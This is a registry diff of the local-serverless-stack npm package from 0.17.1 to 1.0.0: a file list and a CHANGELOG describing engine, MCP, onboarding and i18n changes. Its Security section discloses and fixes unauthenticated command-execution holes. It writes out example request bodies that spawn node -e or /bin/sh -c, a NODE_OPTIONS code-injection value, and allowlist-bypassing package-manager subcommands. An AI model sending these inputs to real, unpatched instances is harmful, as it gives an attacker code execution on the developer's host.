local-serverless-stack 0.17.1 → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (222) hide show
  1. package/CHANGELOG.md +327 -0
  2. package/README.md +1157 -224
  3. package/assets/icon.svg +37 -0
  4. package/assets/logo.svg +38 -0
  5. package/bin/cli.js +384 -217
  6. package/bin/i18n.js +498 -0
  7. package/dist/client/config-discovery.d.ts.map +1 -1
  8. package/dist/client/config-discovery.js +2 -1
  9. package/dist/client/config-discovery.js.map +1 -1
  10. package/dist/client/http.d.ts +7 -0
  11. package/dist/client/http.d.ts.map +1 -1
  12. package/dist/client/http.js +3 -2
  13. package/dist/client/http.js.map +1 -1
  14. package/dist/client/lifecycle.d.ts +1 -4
  15. package/dist/client/lifecycle.d.ts.map +1 -1
  16. package/dist/client/lifecycle.js +2 -8
  17. package/dist/client/lifecycle.js.map +1 -1
  18. package/dist/client/namespaces/health.d.ts +1 -1
  19. package/dist/client/namespaces/health.d.ts.map +1 -1
  20. package/dist/client/namespaces/queues.d.ts.map +1 -1
  21. package/dist/client/namespaces/queues.js +9 -0
  22. package/dist/client/namespaces/queues.js.map +1 -1
  23. package/dist/client/namespaces/seeds.d.ts +1 -1
  24. package/dist/client/namespaces/services.d.ts +34 -0
  25. package/dist/client/namespaces/services.d.ts.map +1 -1
  26. package/dist/client/namespaces/services.js +3 -0
  27. package/dist/client/namespaces/services.js.map +1 -1
  28. package/dist/client/types.d.ts +17 -5
  29. package/dist/client/types.d.ts.map +1 -1
  30. package/dist/mcp/http.d.ts +15 -0
  31. package/dist/mcp/http.d.ts.map +1 -0
  32. package/dist/mcp/http.js +86 -0
  33. package/dist/mcp/http.js.map +1 -0
  34. package/dist/mcp/protocol.d.ts +36 -0
  35. package/dist/mcp/protocol.d.ts.map +1 -0
  36. package/dist/mcp/protocol.js +96 -0
  37. package/dist/mcp/protocol.js.map +1 -0
  38. package/dist/mcp/server.d.ts +7 -0
  39. package/dist/mcp/server.d.ts.map +1 -0
  40. package/dist/mcp/server.js +41 -0
  41. package/dist/mcp/server.js.map +1 -0
  42. package/dist/mcp/tools.d.ts +18 -0
  43. package/dist/mcp/tools.d.ts.map +1 -0
  44. package/dist/mcp/tools.js +323 -0
  45. package/dist/mcp/tools.js.map +1 -0
  46. package/dist/server/dev/dynamo-proxy.d.ts.map +1 -1
  47. package/dist/server/dev/dynamo-proxy.js +16 -2
  48. package/dist/server/dev/dynamo-proxy.js.map +1 -1
  49. package/dist/server/engine/backends/self-backend.d.ts +11 -2
  50. package/dist/server/engine/backends/self-backend.d.ts.map +1 -1
  51. package/dist/server/engine/backends/self-backend.js +42 -1
  52. package/dist/server/engine/backends/self-backend.js.map +1 -1
  53. package/dist/server/engine/dispatch/dispatcher.js +2 -2
  54. package/dist/server/engine/dispatch/dispatcher.js.map +1 -1
  55. package/dist/server/engine/engine-manager.d.ts +6 -1
  56. package/dist/server/engine/engine-manager.d.ts.map +1 -1
  57. package/dist/server/engine/engine-manager.js +30 -27
  58. package/dist/server/engine/engine-manager.js.map +1 -1
  59. package/dist/server/engine/http/is-aws-request.d.ts +8 -0
  60. package/dist/server/engine/http/is-aws-request.d.ts.map +1 -0
  61. package/dist/server/engine/http/is-aws-request.js +53 -0
  62. package/dist/server/engine/http/is-aws-request.js.map +1 -0
  63. package/dist/server/engine/http/router.d.ts.map +1 -1
  64. package/dist/server/engine/http/router.js +7 -1
  65. package/dist/server/engine/http/router.js.map +1 -1
  66. package/dist/server/engine/store/engine-store.d.ts +1 -0
  67. package/dist/server/engine/store/engine-store.d.ts.map +1 -1
  68. package/dist/server/engine/store/engine-store.js +2 -1
  69. package/dist/server/engine/store/engine-store.js.map +1 -1
  70. package/dist/server/engine/store/memory-store.d.ts +16 -0
  71. package/dist/server/engine/store/memory-store.d.ts.map +1 -0
  72. package/dist/server/engine/store/memory-store.js +167 -0
  73. package/dist/server/engine/store/memory-store.js.map +1 -0
  74. package/dist/server/engine/store/wal.d.ts +3 -0
  75. package/dist/server/engine/store/wal.d.ts.map +1 -1
  76. package/dist/server/engine/store/wal.js +35 -1
  77. package/dist/server/engine/store/wal.js.map +1 -1
  78. package/dist/server/index.js +159 -44
  79. package/dist/server/index.js.map +1 -1
  80. package/dist/server/routes/config.d.ts.map +1 -1
  81. package/dist/server/routes/config.js +164 -15
  82. package/dist/server/routes/config.js.map +1 -1
  83. package/dist/server/routes/lambdas.d.ts.map +1 -1
  84. package/dist/server/routes/lambdas.js +65 -0
  85. package/dist/server/routes/lambdas.js.map +1 -1
  86. package/dist/server/routes/services.d.ts.map +1 -1
  87. package/dist/server/routes/services.js +275 -24
  88. package/dist/server/routes/services.js.map +1 -1
  89. package/dist/server/services/bind-host.d.ts +30 -0
  90. package/dist/server/services/bind-host.d.ts.map +1 -0
  91. package/dist/server/services/bind-host.js +182 -0
  92. package/dist/server/services/bind-host.js.map +1 -0
  93. package/dist/server/services/cache-manager.d.ts +2 -1
  94. package/dist/server/services/cache-manager.d.ts.map +1 -1
  95. package/dist/server/services/cache-manager.js +4 -14
  96. package/dist/server/services/cache-manager.js.map +1 -1
  97. package/dist/server/services/config-manager.d.ts +59 -35
  98. package/dist/server/services/config-manager.d.ts.map +1 -1
  99. package/dist/server/services/config-manager.js +787 -131
  100. package/dist/server/services/config-manager.js.map +1 -1
  101. package/dist/server/services/dynamo-explorer.d.ts +1 -0
  102. package/dist/server/services/dynamo-explorer.d.ts.map +1 -1
  103. package/dist/server/services/dynamo-explorer.js +28 -6
  104. package/dist/server/services/dynamo-explorer.js.map +1 -1
  105. package/dist/server/services/explorer-region.d.ts +2 -0
  106. package/dist/server/services/explorer-region.d.ts.map +1 -0
  107. package/dist/server/services/explorer-region.js +23 -0
  108. package/dist/server/services/explorer-region.js.map +1 -0
  109. package/dist/server/services/gateway-manager.d.ts.map +1 -1
  110. package/dist/server/services/gateway-manager.js +18 -5
  111. package/dist/server/services/gateway-manager.js.map +1 -1
  112. package/dist/server/services/invocation-activity.d.ts +45 -0
  113. package/dist/server/services/invocation-activity.d.ts.map +1 -0
  114. package/dist/server/services/invocation-activity.js +102 -0
  115. package/dist/server/services/invocation-activity.js.map +1 -0
  116. package/dist/server/services/lambda-runtime-manager.d.ts +7 -1
  117. package/dist/server/services/lambda-runtime-manager.d.ts.map +1 -1
  118. package/dist/server/services/lambda-runtime-manager.js +118 -10
  119. package/dist/server/services/lambda-runtime-manager.js.map +1 -1
  120. package/dist/server/services/opensearch-explorer.d.ts.map +1 -1
  121. package/dist/server/services/opensearch-explorer.js +14 -10
  122. package/dist/server/services/opensearch-explorer.js.map +1 -1
  123. package/dist/server/services/project-scope.d.ts +2 -0
  124. package/dist/server/services/project-scope.d.ts.map +1 -0
  125. package/dist/server/services/project-scope.js +23 -0
  126. package/dist/server/services/project-scope.js.map +1 -0
  127. package/dist/server/services/queue-inspector.d.ts.map +1 -1
  128. package/dist/server/services/queue-inspector.js +15 -6
  129. package/dist/server/services/queue-inspector.js.map +1 -1
  130. package/dist/server/services/resource-provisioner.d.ts +0 -2
  131. package/dist/server/services/resource-provisioner.d.ts.map +1 -1
  132. package/dist/server/services/resource-provisioner.js +24 -14
  133. package/dist/server/services/resource-provisioner.js.map +1 -1
  134. package/dist/server/services/s3-explorer.js +3 -3
  135. package/dist/server/services/s3-explorer.js.map +1 -1
  136. package/dist/server/services/secrets-explorer.d.ts.map +1 -1
  137. package/dist/server/services/secrets-explorer.js +10 -3
  138. package/dist/server/services/secrets-explorer.js.map +1 -1
  139. package/dist/server/services/seed-manager.d.ts.map +1 -1
  140. package/dist/server/services/seed-manager.js +17 -8
  141. package/dist/server/services/seed-manager.js.map +1 -1
  142. package/dist/server/services/serverless-state-parser.d.ts +10 -0
  143. package/dist/server/services/serverless-state-parser.d.ts.map +1 -1
  144. package/dist/server/services/serverless-state-parser.js +20 -1
  145. package/dist/server/services/serverless-state-parser.js.map +1 -1
  146. package/dist/server/services/service-registrar.d.ts.map +1 -1
  147. package/dist/server/services/service-registrar.js +19 -5
  148. package/dist/server/services/service-registrar.js.map +1 -1
  149. package/dist/server/services/service-scanner.d.ts +20 -0
  150. package/dist/server/services/service-scanner.d.ts.map +1 -0
  151. package/dist/server/services/service-scanner.js +173 -0
  152. package/dist/server/services/service-scanner.js.map +1 -0
  153. package/dist/server/services/source-watcher.d.ts.map +1 -1
  154. package/dist/server/services/source-watcher.js +31 -6
  155. package/dist/server/services/source-watcher.js.map +1 -1
  156. package/dist/ui/assets/ApisPage-BOuimwWz.js +1 -0
  157. package/dist/ui/assets/BucketDetailPage-vLYwhoQt.js +1 -0
  158. package/dist/ui/assets/BucketsPage-Cu5lU1Hp.js +1 -0
  159. package/dist/ui/assets/DynamoPage-y3TTEPUL.js +1 -0
  160. package/dist/ui/assets/DynamoTablePage-BnmSRZjc.js +3 -0
  161. package/dist/ui/assets/LambdaDetailPage-B5q_d27t.js +4 -0
  162. package/dist/ui/assets/LambdasPage-CJpRoEDx.js +1 -0
  163. package/dist/ui/assets/OnboardingPage-D02dymQi.js +1 -0
  164. package/dist/ui/assets/OpenSearchCollectionPage-B_wWTlfL.js +1 -0
  165. package/dist/ui/assets/OpenSearchPage-BLEgfF_g.js +1 -0
  166. package/dist/ui/assets/{OverviewPage-C7JlCyW1.css → OverviewPage-C1pBJ8aP.css} +1 -1
  167. package/dist/ui/assets/OverviewPage-EdJWiAt6.js +1 -0
  168. package/dist/ui/assets/QueueDetailPage-ByEYHvHe.js +1 -0
  169. package/dist/ui/assets/QueuesPage-CvwYHSll.js +1 -0
  170. package/dist/ui/assets/SecretsPage-DASw8Ntf.js +1 -0
  171. package/dist/ui/assets/ServiceDetailPage-BMsUDg6L.js +2 -0
  172. package/dist/ui/assets/ServicesPage-2JuiIiRr.js +2 -0
  173. package/dist/ui/assets/SettingsPage-DStO4bgN.js +1 -0
  174. package/dist/ui/assets/engine-D0mFFNbL.js +1 -0
  175. package/dist/ui/assets/index-BIEznsi4.js +37 -0
  176. package/dist/ui/assets/index-BRMvNP3Y.css +1 -0
  177. package/dist/ui/assets/onboarding-DQmlvyWU.js +1 -0
  178. package/dist/ui/assets/resourceIcons-baecADXA.js +1 -0
  179. package/dist/ui/assets/triggerIcons-DIPWQkJ3.js +1 -0
  180. package/dist/ui/favicon.svg +37 -0
  181. package/dist/ui/index.html +5 -3
  182. package/package.json +12 -12
  183. package/dist/server/engine/aoss-sidecar.d.ts +0 -13
  184. package/dist/server/engine/aoss-sidecar.d.ts.map +0 -1
  185. package/dist/server/engine/aoss-sidecar.js +0 -93
  186. package/dist/server/engine/aoss-sidecar.js.map +0 -1
  187. package/dist/server/engine/backends/localstack-backend.d.ts +0 -25
  188. package/dist/server/engine/backends/localstack-backend.d.ts.map +0 -1
  189. package/dist/server/engine/backends/localstack-backend.js +0 -199
  190. package/dist/server/engine/backends/localstack-backend.js.map +0 -1
  191. package/dist/server/engine/engine-backend.d.ts +0 -17
  192. package/dist/server/engine/engine-backend.d.ts.map +0 -1
  193. package/dist/server/engine/engine-backend.js +0 -7
  194. package/dist/server/engine/engine-backend.js.map +0 -1
  195. package/dist/server/services/localstack-manager.d.ts +0 -17
  196. package/dist/server/services/localstack-manager.d.ts.map +0 -1
  197. package/dist/server/services/localstack-manager.js +0 -31
  198. package/dist/server/services/localstack-manager.js.map +0 -1
  199. package/dist/ui/assets/ApisPage-9Lk0_ZLj.js +0 -1
  200. package/dist/ui/assets/BucketDetailPage-CdLGW5em.js +0 -1
  201. package/dist/ui/assets/BucketsPage-CDP95vp8.js +0 -1
  202. package/dist/ui/assets/DynamoPage-CV7omZpi.js +0 -1
  203. package/dist/ui/assets/DynamoTablePage-C8v42fy7.js +0 -3
  204. package/dist/ui/assets/LambdaDetailPage-DkGxePSD.js +0 -4
  205. package/dist/ui/assets/LambdasPage-Bg7_taxW.js +0 -1
  206. package/dist/ui/assets/OpenSearchCollectionPage-Ci1hHyy2.js +0 -1
  207. package/dist/ui/assets/OpenSearchPage-CBKqZeim.js +0 -1
  208. package/dist/ui/assets/OverviewPage-D8lrE9rQ.js +0 -1
  209. package/dist/ui/assets/QueueDetailPage-D0DSIGZ2.js +0 -1
  210. package/dist/ui/assets/QueuesPage-BXebf6st.js +0 -1
  211. package/dist/ui/assets/SecretsPage-Be2Nw9BM.js +0 -1
  212. package/dist/ui/assets/SecretsPage-D3XYogv-.css +0 -1
  213. package/dist/ui/assets/ServiceDetailPage-DZpczZ-G.js +0 -2
  214. package/dist/ui/assets/ServicesPage-CdzxEqs3.js +0 -2
  215. package/dist/ui/assets/_plugin-vue_export-helper-DlAUqK2U.js +0 -1
  216. package/dist/ui/assets/index-C1Wb35Y8.css +0 -1
  217. package/dist/ui/assets/index-CGpxa55R.js +0 -37
  218. package/packages/serverless-plugin/README.md +0 -115
  219. package/packages/serverless-plugin/dist/index.d.ts +0 -2
  220. package/packages/serverless-plugin/dist/index.d.ts.map +0 -1
  221. package/packages/serverless-plugin/dist/index.js +0 -107
  222. package/packages/serverless-plugin/dist/index.js.map +0 -1
package/CHANGELOG.md CHANGED
@@ -5,6 +5,333 @@ All notable changes to this project will be documented in this file.
5
5
  The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
6
6
  and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
7
7
 
8
+ ## [1.0.0] - 2026-07-31
9
+
10
+ **LSS runs on one engine.** The LocalStack backend is gone — not deprecated, removed. The self
11
+ engine, an in-process AWS emulator with no Docker, no container and no auth token, is what LSS is.
12
+ Migration guide: [docs/MIGRATION-v1.md](docs/MIGRATION-v1.md); for a project already on
13
+ `engine: "self"` it is a matter of deleting a few config keys.
14
+
15
+ The trigger was evidence, not preference. Both shipped LocalStack examples were run end to end
16
+ against the self engine first: `localstack-ultimate` (45 resources, `eu-west-1`) exercised REST
17
+ payload-v1 routes, a DynamoDB composite key + GSI + stream, SQS with DLQ redrive at
18
+ `maxReceiveCount: 3`, `SNS Publish` from a stream handler, an EventBridge bus with a pattern rule,
19
+ a `rate(2 minutes)` schedule, an S3 notification with a prefix filter and an OpenSearch Serverless
20
+ catalog — **every path fired, zero errors**. `localstack-free` added a REST v1 authorizer, an
21
+ httpApi v2 simple-response authorizer written in TypeScript, and a cross-service authorizer
22
+ resolved by ARN. Nothing the project supported on LocalStack needed LocalStack.
23
+
24
+ ### Removed
25
+ - **The 0.x migration guards.** `engine: "localstack"` (file or `LSS_ENGINE`) and the retired
26
+ `--external` / `--pro` / `--self-engine` / `--localstack-token` flags no longer raise a dedicated
27
+ migration error — 1.0 has shipped, so an unknown key or flag is simply an unknown key or flag.
28
+ [docs/MIGRATION-v1.md](docs/MIGRATION-v1.md) still documents the move.
29
+ - **The LocalStack backend**: `src/server/engine/backends/localstack-backend.ts`,
30
+ `src/server/services/localstack-manager.ts`, `src/server/engine/aoss-sidecar.ts` and the
31
+ `EngineBackend` interface. `EngineManager` now owns the one engine.
32
+ - **Config keys**: `engine` (accepted only to reject a 0.x `"localstack"` with a migration error),
33
+ `mode`, `localstackPort`, `localstackEndpoint`, `localstackEdition`, `localstackVersion`,
34
+ `localstackImage`, `localstackAuthToken`, `services`, `aossSidecar`. Editing any of them through
35
+ `PUT /api/config` now answers `unknown config key`.
36
+ - **Env vars**: `LSS_LOCALSTACK_*`, `LOCALSTACK_AUTH_TOKEN`, `LSS_SERVICES`. `LSS_ENGINE` survives
37
+ only to reject `localstack`.
38
+ - **CLI flags**: `--self-engine`, `--external`, `--pro`, `--localstack-token`. Each exits 1 naming
39
+ the migration guide — checked before the already-running short-circuit, so a stale script fails
40
+ visibly instead of looking like a successful no-op.
41
+ - **API fields**: `GET /api/health` → `localstack` (use `engineRunning`); `GET /api/config` →
42
+ the `localstack` block, `aossSidecar` and `services`. `LssClient`: `HealthStatus.localstack` and
43
+ `lifecycle.start({ external, pro, localstackToken })`.
44
+ - **Examples**: `examples/localstack-free` and `examples/localstack-ultimate` (760 MB). Their raw
45
+ `AWS::ApiGatewayV2::*` cross-stack topology was preserved at
46
+ `tests/integration/fixtures/apigw-raw/`, where its end-to-end test still runs.
47
+ - **The `serverless-lss` plugin package** (`packages/serverless-plugin/`, published separately as
48
+ `serverless-lss`): services no longer announce themselves from inside `sls package` — a bare
49
+ `POST /api/services/register { servicePath }` is a complete registration, because the orchestrator
50
+ packages on demand (`autoPackage`) and reads the service name, `provider.region` and `custom.lss`
51
+ ports from the packaged `serverless-state.json` itself. Every `plugins: - serverless-lss` entry
52
+ and `custom.orchestrator` block is dead config; `custom.lss` stays, now read server-side. The npm
53
+ workspace, the publish lane, the CI typecheck and the example/fixture wiring all went with it.
54
+ - **`serverless-offline` compatibility**: `custom.serverless-offline.httpPort/lambdaPort` are no
55
+ longer read as port fallbacks (declare `custom.lss.apiPort`/`invokePort`), and nothing registers
56
+ on `sls offline` anymore — the retired plugin was the only piece that ever did. The LSS runtime
57
+ replaced offline's execution model back in 0.7.x; this removes the last vestige.
58
+
59
+ ### Added
60
+ - **A live load panel on the Overview.** Which workers are actually resident (against the
61
+ `maxWarmWorkers` ceiling), what ran in the last 1/2/10 minutes, **how much of it overlapped**, and
62
+ what that costs the host — resident memory, free/total RAM, 1-minute load normalised by core
63
+ count. Backed by `GET /api/lambdas/activity` and a stack-wide, log-free ring of invocation spans
64
+ (`src/server/services/invocation-activity.ts`, capped at 1000): parallelism is reported as the
65
+ **peak** per time bucket, because an average hides exactly the burst that saturates a laptop. The
66
+ timeline puts service identity on the row axis rather than on colour (a 40-service monorepo has no
67
+ readable categorical palette), and a failed invocation carries a shape marker and a counted label
68
+ as well as the status colour — red/green sit at ΔE 4.4 under deuteranopia, so colour alone would
69
+ hide every error from a colourblind reader.
70
+ - **One port for everything.** The dashboard, the REST API **and the AWS wire protocols** share one
71
+ listener on `14566` by default: requests carrying positive AWS evidence (SigV4 `Authorization`,
72
+ `X-Amz-Target`, any `x-amz-*` header, engine paths like `/_aoss` or `/2015-03-31/`) are demuxed to
73
+ the engine, everything else to the dashboard/API. Setting `selfEngine.port` different from
74
+ `serverPort` splits them back into two listeners. `AWS_ENDPOINT`, the dashboard URL and the
75
+ registration URL are now the same string.
76
+ - **Guided onboarding.** First dashboard visit with no services registered opens a 3-step flow —
77
+ ports, branding (applied live), then a project scan where you tick services and take them from
78
+ freshly cloned to registered without a terminal: **Install selected** (`POST
79
+ /api/services/install`, default `npm install`, first token whitelisted), **Package selected**
80
+ (`POST /api/services/package`, the effective package command) and **Register selected**.
81
+ Per-service API/invoke ports and package commands are editable inline and persist to
82
+ `lss.config.json` as `serviceRuntime`/`servicePackaging` entries — `updateConfig` now merges
83
+ map blocks **per entry**, so saving one field never drops that entry's or another service's
84
+ siblings. Reopenable anytime from Settings. This is the plugin's replacement for humans.
85
+ - **Three languages, dashboard and CLI**: English, Brazilian Portuguese and Spanish. The dashboard
86
+ follows a stored choice, else the browser (`pt` → `pt-BR`, `es-AR` → `es`), switchable from the ⋮
87
+ menu and remembered per browser; the CLI follows `LSS_LANG`, else `LC_ALL`/`LC_MESSAGES`/`LANG`.
88
+ Both layers are hand-rolled and dependency-free (`src/ui/src/i18n/`, `bin/i18n.js`) — LSS ships as
89
+ one npm package and a translation runtime is not a cost to put on every install. A missing key
90
+ falls back to English and then to the key itself, so an untranslated screen still renders. AWS
91
+ proper nouns, config keys, commands and flags are deliberately never translated. This also fixes a
92
+ smaller wart: parts of the CLI (the seed diagnostic, `lss scan`) printed Brazilian Portuguese
93
+ regardless of environment; the CLI is now English by default and Portuguese on request.
94
+ - **Official AWS service icons in the dashboard.** 64 marks from AWS's own **Architecture Service
95
+ Icons** pack (the 16 variant — `viewBox 0 0 24 24`, which is TreeUI's icon grid) are vendored as
96
+ geometry under `src/ui/src/icons/aws/` and registered into the TreeUI icon registry with
97
+ `registerTreeIcons()`, plus a `TIconRegistry` augmentation so `<TIcon name="aws-lambda" />`
98
+ typechecks like a built-in. 12 cover what LSS provides today (Lambda, DynamoDB, S3, SQS, SNS,
99
+ EventBridge, OpenSearch, Secrets Manager, API Gateway, CloudFormation, IAM — also standing for
100
+ STS — and CloudWatch — also standing for CloudWatch Logs); 52 more are a registered reserve. They
101
+ replace the generic glyphs on the sidebar, the Overview tiles and coverage rows, every
102
+ per-service resource breakdown, the Lambda trigger tags and each explorer's headers and empty
103
+ states — a screen listing eight AWS services no longer distinguishes them by a database/inbox/
104
+ target vocabulary. The artwork is an AWS trademark, reproduced unmodified and deliberately
105
+ theme-blind (`src/ui/src/icons/aws/NOTICE.md`); the ~41 MB pack is not committed, and
106
+ `npm run icons:aws` regenerates the checked-in output from it.
107
+ - **Service discovery**: `GET /api/services/scan` + `lss scan` walk the project root (depth ≤ 6,
108
+ dependency/build/VCS trees skipped, a service root is a leaf) and report every Serverless/osls
109
+ service with `installed`/`packaged`/`registered` flags, the effective ports and package command
110
+ (`serviceRuntime`/`servicePackaging` overlays win over the yml hints — the same precedence
111
+ registration applies) — hints only, the packaged state stays the authority at register time. `lss register [path...]` (defaults to
112
+ `.`) is the CLI replacement for automation; `LssClient.services.scan()` and the MCP tools
113
+ `lss_scan_services`/`lss_register_service` expose the same pair to code and to agents.
114
+ - **MCP server** (`lss mcp`, `src/mcp/`): the running stack as **25 tools** for any Model Context
115
+ Protocol client (Claude Code included) — inspect resources/queues/tables/buckets/secrets, scan
116
+ and register services, invoke Lambdas, send messages, block on `await-idle`. Hand-rolled JSON-RPC
117
+ 2.0 over stdio, zero new dependencies, off until a client is configured ([docs/MCP.md](docs/MCP.md)).
118
+ - **Lambdas are lazy by default**: `lambdaRuntime.lazy` forks a worker on first invocation instead
119
+ of at registration, `idleTimeoutMs` (60 s) unloads it when quiet, `maxWarmWorkers` (one per GB of
120
+ RAM, clamped 2–12) caps residency. Measured on 40 services / 400 lambdas / 400 tables:
121
+ **2.0 GB → 128 MB** at rest, ~20 ms cold start. The host never chokes on a monorepo again; slow
122
+ is acceptable, swapping is not.
123
+ - **`LSS_ENGINE_DATA_DIR`**: the engine data directory as an env var, so each LSS instance gets its
124
+ own store with no config file. A second instance needs only
125
+ `LSS_DASHBOARD_PORT` + `LSS_ENGINE_PORT` + `LSS_ENGINE_DATA_DIR`.
126
+
127
+ ### Changed
128
+ - **The integration suite runs everywhere.** It boots an isolated orchestrator on the self engine
129
+ instead of a LocalStack container, so it needs no Docker and no secret: **19 end-to-end
130
+ assertions in ~20 s**, unconditional locally and in CI. Under 0.x the same suite skipped itself
131
+ whenever the LocalStack auth token was absent — which was most of the time, meaning the project's
132
+ only end-to-end coverage usually did not run.
133
+ - OpenSearch Serverless is served natively by the engine on its own endpoint; the sidecar that
134
+ existed only because no LocalStack edition provides `aoss` is gone.
135
+ - `lambdaRuntime.invokeHost` defaults to `127.0.0.1` (nothing runs in a container).
136
+ - The dashboard, the CLI and every log line name the engine instead of LocalStack.
137
+
138
+ ### Security
139
+ - **`POST /api/services/:name/start` was an arbitrary command runner — and it shipped.** This is not
140
+ a new-in-1.0 defect: the endpoint is present in **0.17.2 and every earlier release**, so any
141
+ install of those versions carries it. The handler read `command`, `args`, `cwd` and `env` straight
142
+ off the request body and passed them to `spawn()`; the only check was a four-entry command
143
+ allowlist that contained `node` and `npx`, and nothing at all validated the rest. So
144
+ `{"command":"node","args":["-e","<any JS>"],"cwd":"/"}` ran that JavaScript as the user running
145
+ the orchestrator, in any directory on the host, with an attacker-chosen environment — the classic
146
+ full-host compromise, not a sandbox escape. No caller ever sent those fields (the dashboard calls
147
+ `startService(name)` with no payload, and the CLI has no equivalent), so the whole input surface
148
+ was reachable only by an attacker. `args`, `cwd` and `env` are now **derived by the server**: a
149
+ start runs the registered service's own npm start script from the root recorded in that service's
150
+ cached metadata, and the command allowlist is package managers only — `node` and `npx` are gone,
151
+ since neither can express "run this service's start script" without also expressing "run this
152
+ arbitrary program". The request body no longer contributes argv, working directory or environment
153
+ at all, which is the only shape of this endpoint that is safe to expose on a port with no
154
+ authentication.
155
+ - **The orchestrator was reachable by anything, from anywhere.** It bound every interface
156
+ (`listen(PORT)` with no host argument) and answered every origin with
157
+ `Access-Control-Allow-Origin: *`, with no authentication on any route. That turned the endpoint
158
+ above from "local privilege you already had" into two remote paths: anyone on the same LAN, VPN or
159
+ hotel Wi-Fi could POST to it directly, and **any web page you happened to visit** could do it from
160
+ your own browser — a simple JSON `POST` clears the permissive preflight, and the service name it
161
+ needs is served, unauthenticated and cross-origin, by `GET /api/services`. The listener now binds
162
+ **`127.0.0.1` by default**, and CORS defaults to loopback origins (`http://localhost`,
163
+ `http://127.0.0.1`, `http://[::1]`, any port — the Vite dev dashboard is the only cross-origin
164
+ caller a default install has), so a page on the internet gets no CORS headers and its preflight
165
+ fails before the real request is ever sent. Requests without an `Origin` — curl, the CLI,
166
+ `LssClient`, the MCP server, an AWS SDK — are not browser cross-origin requests and are
167
+ unaffected. Both halves are **deliberately widenable**, because a loopback-only stack would break
168
+ the layout LSS is actually used in — see the next bullet. Both are env-only by design:
169
+ `PUT /api/config` can set neither, because widening a boundary through the API it protects would
170
+ hand the exposure back to whoever already reached the API.
171
+ - **New: `LSS_CORS_ORIGINS`, and `LSS_BIND_HOST` now means the whole process.** Hardening the
172
+ default is only half the job; the other half is that the safe default must have a documented way
173
+ out, or people paste `--disable-web-security` into a browser flag and everyone loses. The common
174
+ real layout is *LSS in a container, browser on the host, and the developer's own frontends calling
175
+ LSS directly* — inspecting queues, hitting the emulated API Gateway, invoking Lambdas. A loopback
176
+ bind refuses the published port, and a loopback-only origin list refuses the frontend. So the
177
+ opt-in is now **one coherent line** that turns network access on everywhere at once:
178
+ `LSS_BIND_HOST=0.0.0.0 LSS_CORS_ORIGINS='*' lss start` — or, better, with the origins named:
179
+ `LSS_CORS_ORIGINS=http://localhost:5173,http://192.168.1.20:5173`. `LSS_CORS_ORIGINS` takes a
180
+ comma-separated list of exact origins (case and trailing slash forgiven, since a hand-typed env
181
+ var that silently matches nothing is the worst failure mode for a knob whose job is to unblock a
182
+ frontend) or a single `*`; unset keeps the loopback default; setting it **replaces** that default
183
+ rather than extending it. `LSS_BIND_HOST` covers **every** listener the process opens — the
184
+ orchestrator, each service's API Gateway and Lambda Invoke API port, the split-listener engine and
185
+ the DynamoDB proxy — so widening is one decision, not four, and there is no half-open state where
186
+ the dashboard is fenced and the invoke ports are not. Boot prints a single warning naming whichever
187
+ knobs were widened and how to undo them; an explicit origin list prints nothing, because naming
188
+ your callers is the outcome the variable is trying to encourage. What widening costs is now a
189
+ bounded, statable thing: an unauthenticated API on the network, where callers can read and write
190
+ your local emulator data and read secret values out of the emulated Secrets Manager. The
191
+ arbitrary-binary paths are gone in this same release — `/start` derives argv, cwd and env
192
+ server-side, `/install` is shape- and flag-allowlisted, and `packageCommand`/`packageArgs` must
193
+ match the packaging grammar — so the residual is data exposure in a local dev stack rather than a
194
+ shell on the host. It is not zero: a caller who can reach the API can still ask the project's own
195
+ build to run (`npm run <script>`, `serverless package`), which is why "a network you trust"
196
+ remains the actual precondition, not a formality.
197
+ - **`packageCommand`/`packageArgs` were an arbitrary binary with arbitrary argv, reachable through two unauthenticated calls.** The
198
+ `/start` and `/install` allowlists above closed two doors on the same room and left a third open.
199
+ `PUT /api/config` validated `packageCommand` as `{ kind: 'string' }` — non-empty, nothing else —
200
+ for the global key **and** for every `servicePackaging[*].packageCommand` override.
201
+ `getPackageConfigForService()` handed the value to `runServerlessPackage()`, which tokenises it
202
+ and calls `spawn(firstToken, restTokens)`. So
203
+ `PUT /api/config {"packageCommand":"/bin/sh","packageArgs":["-c","<anything>"]}` followed by one
204
+ `POST /api/services/package {"servicePath":"<any dir under the project root>"}` ran any binary
205
+ with any argv as the user running the orchestrator — the same class as the `/start` defect,
206
+ through a different door, which is exactly what made the other two allowlists worth nothing on
207
+ their own. `packageEnv` was the same hole in miniature:
208
+ `{"NODE_OPTIONS":"--require /tmp/x.js"}` injects code into an otherwise blameless
209
+ `npx serverless package`, because the runtime reads that variable before the program gets control.
210
+ **This is not new in 1.0.** The dedicated `POST /api/services/package` endpoint is (it ships in
211
+ this release), but the config plumbing behind it is not — verified against the released tree:
212
+ **0.17.2** carries the identical `packageCommand: { kind: 'string' }` validator (global *and*
213
+ `servicePackaging[*]`), the same `getPackageConfigForService()`, and the same
214
+ `runServerlessPackage()` → `spawn()`. The trigger there is `POST /api/services/register`, which
215
+ reaches that chain whenever the service's template is missing and `autoPackage` is on — and
216
+ `autoPackage` is itself a `PUT /api/config` key. So it is two unauthenticated calls on 0.17.2 too,
217
+ just with `register` in place of `package`. The `packageCommand` → `spawn()` path is older still
218
+ (it dates to the original `autoPackage` feature in 0.0.x); what made it *remotely* settable was
219
+ the Settings page adding an unauthenticated `PUT /api/config`. A `packageCommand` written through
220
+ that endpoint must now match a **grammar over the whole argv**, tokenized by the *same* tokenizer
221
+ the packager uses before `spawn()`, so the string that is checked is the string that runs:
222
+ `npm|yarn|pnpm run|run-script …`, `serverless|sls|osls package …`, or
223
+ `npx [-y] serverless|sls|osls[@version] package …`. A first-token allowlist was tried first and
224
+ **did not hold** — every runner on it is an interpreter one subcommand in, and
225
+ `spawn('npm', ['exec','-c','<shell string>'])` executes that string with no `shell: true`
226
+ anywhere, so `npm exec -c`, `npm x`, `npx -c`, `npx -y <pkg>`, `yarn dlx`, `pnpm dlx`,
227
+ `yarn exec`, `yarn node -e`, `yarn create`, `npm i <pkg>` and `yarn add <pkg>` (install scripts
228
+ run as you) all satisfied "the first token names a package manager" while running caller-chosen
229
+ code. Pinning the **subcommand** removes that class; a bare `yarn package` is rejected with it,
230
+ because yarn 1's implicit `run` is exactly what makes `yarn node -e '<js>'` indistinguishable
231
